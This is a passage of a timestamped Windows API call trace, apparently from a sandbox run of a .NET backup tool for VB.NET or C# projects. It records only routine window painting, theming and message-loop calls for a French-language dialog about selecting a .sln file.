0x1900010 [0256.348] GetCurrentObject (hdc=0x570101a0, type=0x7) returned 0xa0506be [0256.348] GetCurrentObject (hdc=0x570101a0, type=0x6) returned 0x18a002e [0256.348] SaveDC (hdc=0x570101a0) returned 2 [0256.348] GetNearestColor (hdc=0x570101a0, color=0xf0f0f0) returned 0xf0f0f0 [0256.348] CreateSolidBrush (color=0xf0f0f0) returned 0x2c1006b3 [0256.348] FillRect (hDC=0x570101a0, lprc=0x52e2b4, hbr=0x2c1006b3) returned 1 [0256.348] DeleteObject (ho=0x2c1006b3) returned 1 [0256.348] RestoreDC (hdc=0x570101a0, nSavedDC=-1) returned 1 [0256.348] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0256.348] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0256.348] GetSystemMetrics (nIndex=42) returned 0 [0256.348] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e39c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0256.348] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e39c) returned 0x23 [0256.348] RestoreDC (hdc=0x570101a0, nSavedDC=-1) returned 1 [0256.348] GdipReleaseDC (graphics=0x4da5930, hdc=0x570101a0) returned 0x0 [0256.348] IsAppThemed () returned 0x1 [0256.348] GetThemeAppProperties () returned 0x3 [0256.348] GetThemeAppProperties () returned 0x3 [0256.348] IsAppThemed () returned 0x1 [0256.348] GetThemeAppProperties () returned 0x3 [0256.348] GetThemeAppProperties () returned 0x3 [0256.348] IsThemePartDefined () returned 0x1 [0256.348] GdipCreateRegion (region=0x52e7a8) returned 0x0 [0256.348] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0256.348] GdipCreateMatrix (matrix=0x52e7a8) returned 0x0 [0256.348] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d98090) returned 0x0 [0256.349] GdipIsMatrixIdentity (matrix=0x4d98090, result=0x52e7c0) returned 0x0 [0256.349] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0256.349] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4c70) returned 0x0 [0256.349] LocalFree (hMem=0x4fa4c70) returned 0x0 [0256.349] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0256.349] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4c70) returned 0x0 [0256.349] LocalFree (hMem=0x4fa4c70) returned 0x0 [0256.349] GdipDeleteMatrix (matrix=0x4d98090) returned 0x0 [0256.349] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7e8) returned 0x0 [0256.349] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7d8) returned 0x0 [0256.349] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e7d8) returned 0x0 [0256.349] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0256.349] GdipGetDC (graphics=0x4da5930, hdc=0x52e7f0) returned 0x0 [0256.349] GetCurrentObject (hdc=0x570101a0, type=0x1) returned 0x1b00017 [0256.349] GetCurrentObject (hdc=0x570101a0, type=0x2) returned 0x1900010 [0256.349] GetCurrentObject (hdc=0x570101a0, type=0x7) returned 0xa0506be [0256.349] GetCurrentObject (hdc=0x570101a0, type=0x6) returned 0x18a002e [0256.349] SaveDC (hdc=0x570101a0) returned 1 [0256.349] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x860401e4 [0256.349] GetClipRgn (hdc=0x570101a0, hrgn=0x860401e4) returned 0 [0256.349] SelectClipRgn (hdc=0x570101a0, hrgn=0xad040221) returned 2 [0256.349] DeleteObject (ho=0x860401e4) returned 1 [0256.349] DeleteObject (ho=0xad040221) returned 1 [0256.349] OffsetViewportOrgEx (in: hdc=0x570101a0, x=0, y=0, lppt=0x23aaa60 | out: lppt=0x23aaa60) returned 1 [0256.349] IsAppThemed () returned 0x1 [0256.349] GetThemeAppProperties () returned 0x3 [0256.349] GetThemeAppProperties () returned 0x3 [0256.349] DrawThemeBackground () returned 0x0 [0256.350] RestoreDC (hdc=0x570101a0, nSavedDC=-1) returned 1 [0256.350] GdipReleaseDC (graphics=0x4da5930, hdc=0x570101a0) returned 0x0 [0256.350] GdipCreateRegion (region=0x52e790) returned 0x0 [0256.350] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0256.350] GdipCreateMatrix (matrix=0x52e790) returned 0x0 [0256.350] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d97aa8) returned 0x0 [0256.350] GdipIsMatrixIdentity (matrix=0x4d97aa8, result=0x52e7a8) returned 0x0 [0256.350] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0256.350] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4c70) returned 0x0 [0256.350] LocalFree (hMem=0x4fa4c70) returned 0x0 [0256.350] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0256.350] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4c70) returned 0x0 [0256.350] LocalFree (hMem=0x4fa4c70) returned 0x0 [0256.350] GdipDeleteMatrix (matrix=0x4d97aa8) returned 0x0 [0256.350] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7d0) returned 0x0 [0256.350] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7c0) returned 0x0 [0256.350] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e7c0) returned 0x0 [0256.350] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0256.350] GdipGetDC (graphics=0x4da5930, hdc=0x52e7d8) returned 0x0 [0256.350] GetCurrentObject (hdc=0x570101a0, type=0x1) returned 0x1b00017 [0256.350] GetCurrentObject (hdc=0x570101a0, type=0x2) returned 0x1900010 [0256.350] GetCurrentObject (hdc=0x570101a0, type=0x7) returned 0xa0506be [0256.350] GetCurrentObject (hdc=0x570101a0, type=0x6) returned 0x18a002e [0256.350] SaveDC (hdc=0x570101a0) returned 1 [0256.350] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xae040221 [0256.350] GetClipRgn (hdc=0x570101a0, hrgn=0xae040221) returned 0 [0256.350] SelectClipRgn (hdc=0x570101a0, hrgn=0x870401e4) returned 2 [0256.350] DeleteObject (ho=0xae040221) returned 1 [0256.351] DeleteObject (ho=0x870401e4) returned 1 [0256.351] OffsetViewportOrgEx (in: hdc=0x570101a0, x=0, y=0, lppt=0x23aad34 | out: lppt=0x23aad34) returned 1 [0256.351] IsAppThemed () returned 0x1 [0256.351] GetThemeAppProperties () returned 0x3 [0256.351] GetThemeAppProperties () returned 0x3 [0256.351] GetThemeBackgroundContentRect () returned 0x0 [0256.351] RestoreDC (hdc=0x570101a0, nSavedDC=-1) returned 1 [0256.351] GdipReleaseDC (graphics=0x4da5930, hdc=0x570101a0) returned 0x0 [0256.351] IsAppThemed () returned 0x1 [0256.351] GetThemeAppProperties () returned 0x3 [0256.351] GetThemeAppProperties () returned 0x3 [0256.351] GdipGetTextRenderingHint (graphics=0x4da5930, mode=0x52e908) returned 0x0 [0256.351] GdipGetDC (graphics=0x4da5930, hdc=0x52e8f4) returned 0x0 [0256.351] GetCurrentObject (hdc=0x570101a0, type=0x1) returned 0x1b00017 [0256.351] GetCurrentObject (hdc=0x570101a0, type=0x2) returned 0x1900010 [0256.351] GetCurrentObject (hdc=0x570101a0, type=0x7) returned 0xa0506be [0256.351] GetCurrentObject (hdc=0x570101a0, type=0x6) returned 0x18a002e [0256.351] SaveDC (hdc=0x570101a0) returned 1 [0256.351] GetTextAlign (hdc=0x570101a0) returned 0x0 [0256.351] GetTextColor (hdc=0x570101a0) returned 0x0 [0256.351] GetCurrentObject (hdc=0x570101a0, type=0x6) returned 0x18a002e [0256.351] GetObjectW (in: h=0x18a002e, c=92, pv=0x52e5fc | out: pv=0x52e5fc) returned 92 [0256.351] SelectObject (hdc=0x570101a0, h=0xc0a01e7) returned 0x18a002e [0256.351] GetBkMode (hdc=0x570101a0) returned 2 [0256.351] SetBkMode (hdc=0x570101a0, mode=1) returned 2 [0256.351] DrawTextExW (in: hdc=0x570101a0, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e6d0, format=0x2415, lpdtp=0x23ab0c8 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e6d0) returned 13 [0256.352] DrawTextExW (in: hdc=0x570101a0, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e888, format=0x2015, lpdtp=0x23ab0c8 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e888) returned 13 [0256.352] RestoreDC (hdc=0x570101a0, nSavedDC=-1) returned 1 [0256.352] GdipReleaseDC (graphics=0x4da5930, hdc=0x570101a0) returned 0x0 [0256.352] GetFocus () returned 0x0 [0256.352] IsAppThemed () returned 0x1 [0256.352] GetThemeAppProperties () returned 0x3 [0256.352] GetThemeAppProperties () returned 0x3 [0256.352] GdipGetDC (graphics=0x4da5930, hdc=0x52ead4) returned 0x0 [0256.352] BitBlt (hdc=0x1401007f, x=0, y=0, cx=163, cy=29, hdcSrc=0x570101a0, x1=0, y1=0, rop=0xcc0020) returned 1 [0256.352] GdipReleaseDC (graphics=0x4da5930, hdc=0x570101a0) returned 0x0 [0256.352] SelectPalette (hdc=0x1401007f, hPal=0x188000b, bForceBkgd=0) returned 0x190806b0 [0256.352] SelectObject (hdc=0x570101a0, h=0x185000f) returned 0xa0506be [0256.352] DeleteDC (hdc=0x570101a0) returned 1 [0256.352] GdipDeleteGraphics (graphics=0x4da5930) returned 0x0 [0256.352] EndPaint (hWnd=0x10186, lpPaint=0x52ea78) returned 1 [0256.352] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0256.352] IsWindowUnicode (hWnd=0x101a4) returned 1 [0256.352] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0256.352] TranslateMessage (lpMsg=0x52ef98) returned 0 [0256.352] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0256.352] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0256.353] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0256.353] WaitMessage () returned 1 [0256.652] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0256.652] IsWindowUnicode (hWnd=0x101a6) returned 1 [0256.652] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0256.652] TranslateMessage (lpMsg=0x52ef98) returned 0 [0256.652] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0256.652] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0256.652] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0256.652] WaitMessage () returned 1 [0257.436] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0257.437] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x46, wParam=0x0, lParam=0x52ee80) returned 0x0 [0257.437] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x46, wParam=0x0, lParam=0x52ee80) returned 0x0 [0257.443] GetWindowPlacement (in: hWnd=0x1016e, lpwndpl=0x52ec30 | out: lpwndpl=0x52ec30) returned 1 [0257.443] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x47, wParam=0x0, lParam=0x52ee80) returned 0x0 [0257.443] GetClientRect (in: hWnd=0x1016e, lpRect=0x52ebe0 | out: lpRect=0x52ebe0) returned 1 [0257.443] GetWindowRect (in: hWnd=0x1016e, lpRect=0x52ebe0 | out: lpRect=0x52ebe0) returned 1 [0257.444] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x47, wParam=0x0, lParam=0x52ee80) returned 0x0 [0257.444] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0xd, wParam=0x104, lParam=0x433edb8) returned 0x0 [0257.444] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x1c, wParam=0x1, lParam=0x560) returned 0x0 [0257.444] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x1c, wParam=0x1, lParam=0x560) returned 0x0 [0257.444] NtdllDefWindowProc_W () returned 0x0 [0257.444] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0257.446] GetFocus () returned 0x0 [0257.446] SetFocus (hWnd=0x10186) returned 0x0 [0257.446] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0257.446] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0257.446] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0257.447] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0257.447] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0257.447] GetStockObject (i=5) returned 0x1900015 [0257.447] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x19 [0257.447] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0xd, wParam=0x1a, lParam=0x69a208) returned 0x19 [0257.447] GetDlgItem (hDlg=0x1016e, nIDDlgItem=65926) returned 0x10186 [0257.447] SendMessageW (hWnd=0x10186, Msg=0x202b, wParam=0x10186, lParam=0x52e678) returned 0x0 [0257.447] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x202b, wParam=0x10186, lParam=0x52e678) returned 0x0 [0257.447] InvalidateRect (hWnd=0x10186, lpRect=0x0, bErase=0) returned 1 [0257.448] IsWindowUnicode (hWnd=0x10186) returned 1 [0257.448] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0257.448] TranslateMessage (lpMsg=0x52ef98) returned 0 [0257.448] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0257.448] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0257.448] IsWindowUnicode (hWnd=0x10186) returned 1 [0257.448] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0257.448] GetKeyState (nVirtKey=16) returned 0 [0257.448] GetKeyState (nVirtKey=17) returned 0 [0257.448] GetKeyState (nVirtKey=18) returned -128 [0257.448] TranslateMessage (lpMsg=0x52ef98) returned 1 [0257.448] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0257.448] GetKeyState (nVirtKey=16) returned 0 [0257.448] GetKeyState (nVirtKey=17) returned 0 [0257.448] GetKeyState (nVirtKey=18) returned -128 [0257.448] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x105, wParam=0x1b, lParam=0xe0010001) returned 0x0 [0257.448] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0257.448] IsWindowUnicode (hWnd=0x10186) returned 1 [0257.449] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0257.449] TranslateMessage (lpMsg=0x52ef98) returned 0 [0257.449] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0257.449] BeginPaint (in: hWnd=0x10186, lpPaint=0x52ea7c | out: lpPaint=0x52ea7c) returned 0x701068c [0257.449] SelectPalette (hdc=0x701068c, hPal=0x190806b0, bForceBkgd=1) returned 0x188000b [0257.449] CreateCompatibleDC (hdc=0x701068c) returned 0x5d0101a0 [0257.449] SelectObject (hdc=0x5d0101a0, h=0xa0506be) returned 0x185000f [0257.449] GdipCreateFromHDC (hdc=0x5d0101a0, graphics=0x52ea94) returned 0x0 [0257.449] GdipTranslateWorldTransform (graphics=0x4da5930, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0257.449] GdipSetClipRectI (graphics=0x4da5930, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0257.449] GdipCreateMatrix (matrix=0x52eadc) returned 0x0 [0257.449] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d98090) returned 0x0 [0257.450] GdipIsMatrixIdentity (matrix=0x4d98090, result=0x52eaf4) returned 0x0 [0257.450] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0257.450] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4c70) returned 0x0 [0257.450] LocalFree (hMem=0x4fa4c70) returned 0x0 [0257.450] GdipDeleteMatrix (matrix=0x4d98090) returned 0x0 [0257.450] GdipCreateRegion (region=0x52eadc) returned 0x0 [0257.450] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0257.450] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52eae8) returned 0x0 [0257.450] GdipSaveGraphics (graphics=0x4da5930, state=0x52eb14) returned 0x0 [0257.450] GdipRestoreGraphics (graphics=0x4da5930, state=0xfd870dbd) returned 0x0 [0257.450] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0257.450] GdipGetDC (graphics=0x4da5930, hdc=0x52e900) returned 0x0 [0257.450] GetCurrentObject (hdc=0x5d0101a0, type=0x1) returned 0x1b00017 [0257.450] GetCurrentObject (hdc=0x5d0101a0, type=0x2) returned 0x1900010 [0257.450] GetCurrentObject (hdc=0x5d0101a0, type=0x7) returned 0xa0506be [0257.450] GetCurrentObject (hdc=0x5d0101a0, type=0x6) returned 0x18a002e [0257.450] SaveDC (hdc=0x5d0101a0) returned 1 [0257.450] GetNearestColor (hdc=0x5d0101a0, color=0xf0f0f0) returned 0xf0f0f0 [0257.451] GetNearestColor (hdc=0x5d0101a0, color=0xa0a0a0) returned 0xa0a0a0 [0257.451] GetNearestColor (hdc=0x5d0101a0, color=0x696969) returned 0x696969 [0257.451] GetNearestColor (hdc=0x5d0101a0, color=0xa0a0a0) returned 0xa0a0a0 [0257.451] GetNearestColor (hdc=0x5d0101a0, color=0x0) returned 0x0 [0257.451] GetNearestColor (hdc=0x5d0101a0, color=0xffffff) returned 0xffffff [0257.451] GetNearestColor (hdc=0x5d0101a0, color=0xe5e5e5) returned 0xe5e5e5 [0257.451] GetNearestColor (hdc=0x5d0101a0, color=0xd7d7d7) returned 0xd7d7d7 [0257.451] GetNearestColor (hdc=0x5d0101a0, color=0x0) returned 0x0 [0257.451] RestoreDC (hdc=0x5d0101a0, nSavedDC=-1) returned 1 [0257.451] GdipReleaseDC (graphics=0x4da5930, hdc=0x5d0101a0) returned 0x0 [0257.451] IsAppThemed () returned 0x1 [0257.451] GetThemeAppProperties () returned 0x3 [0257.451] GetThemeAppProperties () returned 0x3 [0257.451] IsAppThemed () returned 0x1 [0257.451] GetThemeAppProperties () returned 0x3 [0257.451] GetThemeAppProperties () returned 0x3 [0257.451] DrawTextExW (in: hdc=0x300101e8, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e7bc, format=0x2415, lpdtp=0x23bcf04 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e7bc) returned 13 [0257.452] IsAppThemed () returned 0x1 [0257.452] GetThemeAppProperties () returned 0x3 [0257.452] GetThemeAppProperties () returned 0x3 [0257.452] IsAppThemed () returned 0x1 [0257.452] GetThemeAppProperties () returned 0x3 [0257.452] GetThemeAppProperties () returned 0x3 [0257.452] GetFocus () returned 0x10186 [0257.452] IsAppThemed () returned 0x1 [0257.452] GetThemeAppProperties () returned 0x3 [0257.452] GetThemeAppProperties () returned 0x3 [0257.452] IsAppThemed () returned 0x1 [0257.452] GetThemeAppProperties () returned 0x3 [0257.452] GetThemeAppProperties () returned 0x3 [0257.452] IsThemePartDefined () returned 0x1 [0257.452] IsAppThemed () returned 0x1 [0257.452] GetThemeAppProperties () returned 0x3 [0257.452] GetThemeAppProperties () returned 0x3 [0257.452] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0257.452] IsAppThemed () returned 0x1 [0257.452] GetThemeAppProperties () returned 0x3 [0257.452] GetThemeAppProperties () returned 0x3 [0257.452] IsAppThemed () returned 0x1 [0257.452] GetThemeAppProperties () returned 0x3 [0257.452] GetThemeAppProperties () returned 0x3 [0257.452] IsThemePartDefined () returned 0x1 [0257.452] GdipCreateRegion (region=0x52e804) returned 0x0 [0257.452] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0257.452] GdipCreateMatrix (matrix=0x52e804) returned 0x0 [0257.452] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d97aa8) returned 0x0 [0257.452] GdipIsMatrixIdentity (matrix=0x4d97aa8, result=0x52e81c) returned 0x0 [0257.453] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0257.453] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4c70) returned 0x0 [0257.453] LocalFree (hMem=0x4fa4c70) returned 0x0 [0257.453] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0257.453] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4c70) returned 0x0 [0257.453] LocalFree (hMem=0x4fa4c70) returned 0x0 [0257.453] GdipDeleteMatrix (matrix=0x4d97aa8) returned 0x0 [0257.453] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e844) returned 0x0 [0257.453] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e834) returned 0x0 [0257.453] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e834) returned 0x0 [0257.453] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0257.453] GdipGetDC (graphics=0x4da5930, hdc=0x52e84c) returned 0x0 [0257.453] GetCurrentObject (hdc=0x5d0101a0, type=0x1) returned 0x1b00017 [0257.463] GetCurrentObject (hdc=0x5d0101a0, type=0x2) returned 0x1900010 [0257.463] GetCurrentObject (hdc=0x5d0101a0, type=0x7) returned 0xa0506be [0257.463] GetCurrentObject (hdc=0x5d0101a0, type=0x6) returned 0x18a002e [0257.463] SaveDC (hdc=0x5d0101a0) returned 1 [0257.463] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x880401e4 [0257.463] GetClipRgn (hdc=0x5d0101a0, hrgn=0x880401e4) returned 0 [0257.463] SelectClipRgn (hdc=0x5d0101a0, hrgn=0xb5040221) returned 2 [0257.463] DeleteObject (ho=0x880401e4) returned 1 [0257.463] DeleteObject (ho=0xb5040221) returned 1 [0257.463] OffsetViewportOrgEx (in: hdc=0x5d0101a0, x=0, y=0, lppt=0x23bd5b4 | out: lppt=0x23bd5b4) returned 1 [0257.464] DrawThemeParentBackground () returned 0x0 [0257.464] GetWindowPlacement (in: hWnd=0x1016e, lpwndpl=0x52e5c0 | out: lpwndpl=0x52e5c0) returned 1 [0257.464] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e56c | out: lpRect=0x52e56c) returned 1 [0257.464] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0257.464] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0257.464] GetSystemMetrics (nIndex=42) returned 0 [0257.464] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e3fc, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0257.464] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e3fc) returned 0x23 [0257.464] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e474 | out: lpRect=0x52e474) returned 1 [0257.464] GetCurrentObject (hdc=0x5d0101a0, type=0x1) returned 0x1b00017 [0257.465] GetCurrentObject (hdc=0x5d0101a0, type=0x2) returned 0x1900010 [0257.465] GetCurrentObject (hdc=0x5d0101a0, type=0x7) returned 0xa0506be [0257.465] GetCurrentObject (hdc=0x5d0101a0, type=0x6) returned 0x18a002e [0257.465] SaveDC (hdc=0x5d0101a0) returned 2 [0257.465] GetNearestColor (hdc=0x5d0101a0, color=0xf0f0f0) returned 0xf0f0f0 [0257.465] CreateSolidBrush (color=0xf0f0f0) returned 0x2d1006b3 [0257.465] FillRect (hDC=0x5d0101a0, lprc=0x52e314, hbr=0x2d1006b3) returned 1 [0257.465] DeleteObject (ho=0x2d1006b3) returned 1 [0257.465] RestoreDC (hdc=0x5d0101a0, nSavedDC=-1) returned 1 [0257.465] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0257.465] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0257.465] GetSystemMetrics (nIndex=42) returned 0 [0257.465] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e39c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0257.465] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e39c) returned 0x23 [0257.465] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e414 | out: lpRect=0x52e414) returned 1 [0257.466] GetCurrentObject (hdc=0x5d0101a0, type=0x1) returned 0x1b00017 [0257.466] GetCurrentObject (hdc=0x5d0101a0, type=0x2) returned 0x1900010 [0257.466] GetCurrentObject (hdc=0x5d0101a0, type=0x7) returned 0xa0506be [0257.466] GetCurrentObject (hdc=0x5d0101a0, type=0x6) returned 0x18a002e [0257.466] SaveDC (hdc=0x5d0101a0) returned 2 [0257.466] GetNearestColor (hdc=0x5d0101a0, color=0xf0f0f0) returned 0xf0f0f0 [0257.466] CreateSolidBrush (color=0xf0f0f0) returned 0x2e1006b3 [0257.466] FillRect (hDC=0x5d0101a0, lprc=0x52e2b4, hbr=0x2e1006b3) returned 1 [0257.466] DeleteObject (ho=0x2e1006b3) returned 1 [0257.466] RestoreDC (hdc=0x5d0101a0, nSavedDC=-1) returned 1 [0257.466] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0257.466] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0257.466] GetSystemMetrics (nIndex=42) returned 0 [0257.466] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e39c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0257.466] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e39c) returned 0x23 [0257.466] RestoreDC (hdc=0x5d0101a0, nSavedDC=-1) returned 1 [0257.467] GdipReleaseDC (graphics=0x4da5930, hdc=0x5d0101a0) returned 0x0 [0257.467] IsAppThemed () returned 0x1 [0257.467] GetThemeAppProperties () returned 0x3 [0257.467] GetThemeAppProperties () returned 0x3 [0257.467] 